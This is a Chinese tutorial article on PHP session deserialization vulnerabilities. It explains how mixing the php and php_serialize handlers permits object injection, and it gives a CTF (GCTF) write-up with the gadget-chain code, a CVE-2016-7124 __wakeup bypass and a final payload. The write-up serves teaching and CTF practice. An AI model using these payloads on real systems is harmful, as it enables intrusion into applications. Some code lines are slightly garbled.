这里有新鲜出炉的 PHP 设计模式,程序狗速度看过来!
PHP(外文名: Hypertext Preprocessor,中文名:"超文本预处理器")是一种通用开源脚本语言。语法吸收了 C 语言、Java 和 Perl 的特点,入门门槛较低,易于学习,使用广泛,主要适用于 web 开发领域。PHP 的文件后缀名为 php。
这篇文章主要介绍了 PHP 的 session 反序列化漏洞问题, 需要的朋友可以参考下
在 php.ini 中存在三项配置项:
- session.save_path="" --设置session的存储路径
- session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
- session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
- session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与 PHP 中的 Session 存储和序列话存储有关的选项。
在使用 xampp 组件安装中,上述的配置项的设置如下:
- session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
- session.save_handler=files 表明session是以文件的方式来进行存储的
- session.auto_start=0 表明默认不启动session
- session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler 是用来设置 session 的序列话引擎的,除了默认的 PHP 引擎之外,还存在其他引擎,不同的引擎所对应的 session 的存储方式不相同。
php_binary: 存储方式是,键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php: 存储方式是,键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过 serialize() 函数序列化处理的值
在 PHP 中默认使用的是 PHP 引擎,如果要修改为其他的引擎,只需要添加代码 ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:
session 的目录在 /var/lib/php/sessions 中
- <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['name'] = 'spoock';
- var_dump($_SESSION);
在 php_serialize 引擎下,session 文件中存储的数据为:
- a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
- name | s: 6 : "spoock";
php_binary 引擎下文件内容为:
- names: 6 : "spoock";
由于 name 的长度是 4,4 在 ASCII 表中对应的就是 EOT。根据 php_binary 的存储规则,最后就是names:6:"spoock";。(突然发现 ASCII 的值为 4 的字符无法在网页上面显示,这个大家自行去查 ASCII 表吧)
PHP Session 中的序列化危害
PHP 中的 Session 的实现是没有的问题,危害主要是由于程序员的 Session 使用不当而引起的。
如果在 PHP 在反序列化存储的 $_SESSION 数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
- $_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php 文件如:
- <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
访问后得到 session 文件中的内容如下:
- root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
- a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此时模拟在其他页面使用不同的 php 引擎来读取时的内容如下:(默认使用 php 引擎读取 session 文件)
- <?php
- #ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- #$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
- class A {
- public $a = 'aa';
- function __wakeup() {
- echo $this->a;
- }
- }
- // var_dump($_SESSION);
访问该页面输出 xx
- xxarray(1) {
- ["a:1:{s:4:"ryat";s:30:""]=>
- object(A)#1 (1) {
- ["a"]=>
- string(2) "xx"
- }
- }
这是因为当使用 php 引擎的时候,php 引擎会以 | 作为作为 key 和 value 的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为 SESSION 的 key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为 value,然后进行反序列化,最后就会得到 A 这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成 PHP Session 序列话漏洞的原因。漏洞在加载使用 php 引擎的页面时 session 去读 session 中的内容并反序列化导致漏洞触发,不需要任何输出
GCTF 上的一道 session 反序列化漏洞分析:
index.php 中内容为:
- <?php
- //error_reporting(E_ERROR & ~E_NOTICE);
- ini_set('session.serialize_handler', 'php_serialize');
- header("content-type;text/html;charset=utf-8");
- session_start();
- if(isset($_GET['src'])){
- $_SESSION['src'] = $_GET['src'];
- highlight_file(__FILE__);
- print_r($_SESSION['src']);
- }
- ?>
- <!DOCTYPE HTML>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>代码审计2</title>
- </head>
- <body>
在 php 中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
- <form action="./query.php" method="POST">
- <input type="text" name="ticket" />
- <input type="submit" />
- </form>
- <a href="./?src=1">查看源码</a>
- </body>
- </html>
query.php 中的内容为:
- /************************/
- /*
- //query.php 部分代码
- session_start();
- header('Look me: edit by vim ~0~')
- //......
- class TOPA{
- public $token;
- public $ticket;
- public $username;
- public $password;
- function login(){
- //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
- $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
- return 'key is:{'.$this->token.'}';
- }
- }
- }
- class TOPB{
- public $obj;
- public $attr;
- function __construct(){
- $this->attr = null;
- $this->obj = null;
- }
- function __toString(){
- $this->obj = unserialize($this->attr);
- $this->obj->token = $FLAG;
- if($this->obj->token === $this->obj->ticket){
- return (string)$this->obj;
- }
- }
- }
- class TOPC{
- public $obj;
- public $attr;
- function __wakeup(){
- $this->attr = null;
- $this->obj = null;
- }
- function __destruct(){
- echo $this->attr;
- }
- }
- */
思路如下:
这题中我们构造一个 TOPC,在析构的时候则会调用
;
- echo $this->attr;
将 attr 赋值为 TOPB 对象,在 echo TOPB 的时候会自动调用__tostring 魔术方法
在__tostring 中会调用
, 因为后面用到 token 和 ticket,所以显然时 TOPA 对象。后面判断需要
- unserialize($this->attr)
, 所以在序列化的时候进行指针引用使
- $this->obj->token === $this->obj->ticket
,即可绕过判断。
- $a->ticket = &$a->token;
至于为什么
会输出 flag,后台写的 login 可能是__tostring 吧。
- (string)$this->obj
其中反序列化字符串中会有一个__wakeup() 函数清空里面的参数,我问可以通过一个 cve 来绕过:CVE-2016-7124。将 Object 中表示数量的字段改成比实际字段大的值即可绕过 wakeup 函数。
最后的代码为:
- $testa = new TOPA();
- $testc = new TOPC();
- $testb = new TOPB();
- $testa - >username = 0;
- $testa - >password = 0;
- $testa - >ticket = &$testa - >token;
- $sa = serialize($testa);
- $testc - >attr = $testb;
- $testb - >attr = $sa;
- $test = serialize($testc);
- echo $test;
最终 payload 为:
- |O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
以上所述是小编给大家介绍的 PHP 的 session 反序列化漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 PHPERZ 网站的支持!
来源: http://www.phperz.com/article/17/0807/339512.html